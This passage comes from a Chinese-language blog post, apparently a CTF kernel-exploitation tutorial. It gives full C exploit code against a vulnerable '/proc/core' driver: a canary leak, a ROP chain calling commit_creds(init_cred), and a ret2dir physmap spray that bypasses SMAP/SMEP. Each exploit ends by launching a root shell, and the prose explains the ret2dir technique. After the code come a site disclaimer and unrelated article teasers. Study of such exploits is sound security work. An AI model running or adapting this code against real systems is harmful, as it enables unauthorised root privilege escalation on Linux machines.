}int main() {rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rdi_ret;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_restore_regs_and_return_to_usermode;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");system("/bin/sh");return 0;
}

ret2dir

physmap是內核管理的一塊非常大的連續的虛擬內存空間,為了提高效率,該空間地址和RAM地址直接映射。RAM相對physmap要小得多,導致了任何一個RAM地址都可以在physmap中找到其對應的虛擬內存地址。另一方面,我們知道用戶空間的虛擬內存也會映射到RAM。這就存在兩個虛擬內存地址(一個在physmap地址,一個在用戶空間地址)映射到同一個RAM地址的情況。也就是說,我們在用戶空間里創建的數據,代碼很有可能映射到physmap空間。基于這個理論在用戶空間用mmap()把提權代碼映射到內存,然后再在physmap里找到其對應的副本,修改EIP跳到副本執行就可以了。因為physmap本身就是在內核空間里,所以SMAP/SMEP都不會發揮作用。

在新版的內核當中 direct mapping area 已經不再具有可執行權限,因此我們很難再在用戶空間直接布置 shellcode 進行利用,但我們仍能通過在用戶空間布置 ROP 鏈的方式完成利用,即rsp修改到physmap上的某個偏移處,然后ret

說白了就是可以在內核地址找到一塊用戶態控制的內存

  1. mmap 大量的內存(rop chains 等),提高命中的概率
    以頁為單位mmap分配,除了最后布置rop鏈,前面布置ret的地址
  2. 泄露出 slab 的地址,計算出 physmap的地址(開啟KALSR后physmap地址是隨機的)
  3. 劫持內核執行流到 physmap 上
    棧遷移到ptr_regs,然后再pop rsp ret 棧遷移到physmap上
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_shell() { system("/bin/sh"); }int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;pop_rsp_ret += offset;ret += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}void physmap_spray() {size_t page_size = sysconf(_SC_PAGESIZE);size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);int it = 0;for (; it < (page_size / 8 - 11); it++) {rop[it] = ret;}rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;puts("[*] Spraying physmap...");for (int i = 1; i < 30000; i++) {void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(page, rop, page_size);}
}int main() {rebase();save_status();physmap_spray();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rsp_ret;""mov r14, try_hit;""mov r13, 0x3333333333333333;""mov r12, 0x4444444444444444;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall;");system("/bin/sh");return 0;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/43623.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/43623.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/43623.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2024年浙江省高考分數一分一段數據可視化

下圖根據 2024 年浙江高考一分一段表繪制&#xff0c;可以看到&#xff0c;競爭最激烈的分數區間在620分到480分之間。 不過&#xff0c;浙江是考兩次取最大&#xff0c;不是很有代表性。看看湖北的數據&#xff0c;580分到400分的區段都很卷。另外&#xff0c;從這個圖也可以…

RTOS系統 -- FreeRTOS之任務調度

FreeRTOS中的任務調度 背景介紹 FreeRTOS是一種輕量級的實時操作系統&#xff0c;被廣泛應用于嵌入式系統中。它提供了多任務管理功能&#xff0c;包括任務創建、任務調度和任務切換。FreeRTOS的調度器根據任務的優先級和狀態自動調度任務&#xff0c;確保系統資源的有效利用…

獨立站優勢及吸引力分析

隨著全球化貿易的不斷深入&#xff0c;越來越多的廠商開始尋求更廣闊的市場和更高效的銷售渠道。獨立站作為企業自有的電商網站&#xff0c;正逐漸成為海外貿易的新寵。本文將分析獨立站的優勢及其對廠商的吸引力&#xff0c;鼓勵廠商以建立獨立站的方式出海。 一、獨立站的定義…

el-image放大圖片功能

1.需求&#xff1a;點擊圖片后放大圖片 html代碼&#xff1a; <el-imagestyle"width: 100px; height: 100px":src"baseUrl item.id":zoom-rate"1.2":max-scale"7":min-scale"0.2":preview-src-list"srcList"…

Xilinx FPGA UltraScale SelectIO 接口邏輯資源

目錄 1. 簡介 2. Bank Overview 2.1 Diagram 2.2 IOB 2.3 Slice 2.4 Byte Group 2.5 I/O bank 示例 2.6 Pin Definition 2.7 數字控制阻抗(DCI) 2.8 SelectIO 管腳供電電壓 2.8.1 VCCO 2.8.2 VREF 2.8.3 VCCAUX 2.8.4 VCCAUX_IO 2.8.5 VCCINT_IO 3. 總結 1. 簡介…

Vue利用遞歸的方法,根據id獲取對應的字段名(樹形數據)

樹形數據源 options:[{ancestors: "0",code: "99",id: "99",name: "測試部門1",parentId: "0",children: [{ancestors: "0,99",code: "test",id: "1720269456426344449",name: "測試子部…

【國潮】軟件本土化探索

文章目錄 一、國產-操作系統銀河麒麟&#xff08;Kylin&#xff09;操作系統華為鴻蒙系統&#xff08;HarmonyOS&#xff09;統信UOS深度Deepin 二、國產-服務器華為鯤鵬&#xff1a;飛騰&#xff1a;海光&#xff1a;兆芯&#xff1a;龍芯&#xff1a;申威&#xff1a; 三、國…

Redis學習 - 基礎篇

Redis學習 - 基礎篇 一. 簡介 Redis 是一個高性能的key-value數據庫&#xff0c;常用的數據類型如下&#xff1a;string&#xff0c;list&#xff0c;set&#xff0c;zset&#xff0c;hash 二. 安裝 Widows和Linux下如何安裝Redis-CSDN博客 三. 常用命令 配置及數據庫操作…

《信息技術與信息化 》是什么級別的期刊?是正規期刊嗎?能評職稱嗎?

問題解答 問&#xff1a;《信息技術與信息化 》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知網收錄的第一批認定學術期刊。 問&#xff1a;《信息技術與信息化 》級別&#xff1f; 答&#xff1a;省級。主管單位&#xff1a;山東省科學技術協會 主辦單…

國內磁性器件核心企業『云路新能源』攜手企企通正式啟動SRM項目,供應鏈競爭力再上新臺階

近日&#xff0c;珠海黎明云路新能源科技有限公司&#xff08;以下簡稱“云路新能源”&#xff09;攜手企企通啟動SRM數字化采購供應鏈管理項目&#xff0c;雙方相關負責人與項目組成員出席本次啟動會。 本次采購數字化項目建設&#xff0c;企企通將助力云路新能源實現采購全場…

智能無人數字直播間 打造24小時的無人直播間源碼系統 帶網站的安裝代碼包以及搭建教程

系統概述 智能無人數字直播間系統是一種基于人工智能技術的軟件工具&#xff0c;它結合了高精度掃描建模、自動化控制、多模態生成等多項先進技術&#xff0c;能夠實現對真實人物的高度仿真&#xff0c;并自主執行各類直播任務。該系統不僅支持24小時不間斷直播&#xff0c;還…

微信小程序引入自定義子組件報錯,在 C:/Users/***/WeChatProjects/miniprogram-1/components/路徑下***

使用原生小程序開發時候&#xff0c;會報下面的錯誤&#xff0c; [ pages/button/button.json 文件內容錯誤] pages/button/button.json: [“usingComponents”][“second-component”]: “…/…/components/second-child/index”&#xff0c;在 C:/Users/***/WeChatProjects/m…

Windows 中修改 MySQL 密碼

沒想到這樣一個簡單的需求&#xff0c;愣是試了半天沒試到有用的命令&#xff0c;最后終于找到一個有用的&#xff0c;在此做個記錄&#xff1a; set password for rootlocalhost 你的新密碼;

【C++與python】| splice語法對比列表切片

splice用法詳解 C 中的 splice示例 1&#xff1a;將整個列表 lst2 插入到 lst1 中某個位置示例 2&#xff1a;將 lst2 的一個元素插入到 lst1 中某個位置 Python中的列表切片&#xff08;Slicing&#xff09;示例 1&#xff1a;獲取列表的子列表示例 2&#xff1a;修改列表的子…

禪道二次開發——禪道zentaoPHP框架擴展機制——對視圖層(view)擴展

視圖文件的擴展分為兩種方式&#xff0c;一種是完全覆蓋&#xff0c;第二種是通過鉤子機制來擴展。 一、完全覆蓋 視圖文件的覆蓋可以通過完全覆蓋的方式來重新定義。比如我對bug模塊的create頁面進行擴展。原來的視圖文件是存放在module/bug/view/create.html.php。如果需要…

Android約束布局的概念與屬性(2)

目錄 3&#xff0e;鏈式約束4&#xff0e;輔助線 3&#xff0e;鏈式約束 如果兩個或以上控件通過下圖的方式約束在一起&#xff0c;就可以認為是他們是一條鏈&#xff08;如圖5為橫向的鏈&#xff0c;縱向同理&#xff09;。 圖5 鏈示意圖 如圖5所示&#xff0c;在預覽圖中選…

解讀網絡安全公司F5:助企業高效簡化多云和應用部署

伴隨企業加速數字化轉型工作、擴展到新的基礎設施環境并采用微服務架構&#xff0c;企業正擁抱混合和多云基礎設施所帶來的靈活性。Ernst & Young調查數據顯示&#xff0c;84%的企業正處于向現有網絡安全解決方案套件添加多種新技術的早期階段。企業同樣意識到&#xff0c;…

nftables(3)表達式(1)數據類型

簡介 前面文章主要介紹的是nftables的基本原理和基礎的配置&#xff0c;如nftables基本的表、鏈、規則的創建和管理。本篇文章主要介紹的是表達式EXPRESSIONS。 在網絡安全和數據處理中&#xff0c;表達式&#xff08;Expressions&#xff09;扮演著非常重要的角色。它們用于…

二. Linux內核

一. Linux內核源碼目錄分析 arch 包含與體系結構相關的代碼&#xff0c;用于支持不同硬件體系結構的實現。這個目錄下會根據不同的架構&#xff08;如x86、arm、mips等&#xff09;進一步細分。 block 用于處理塊設備的子系統&#xff0c;包含與塊設備驅動和I/O調度相關的代碼。…

力扣--滑動窗口最大值

給你一個整數數組 nums&#xff0c;有一個大小為 k 的滑動窗口從數組的最左側移動到數組的最右側。你只可以看到在滑動窗口內的 k 個數字。滑動窗口每次只向右移動一位。 返回 滑動窗口中的最大值 。 示例 1&#xff1a; 輸入&#xff1a;nums [1,3,-1,-3,5,3,6,7], k 3 輸…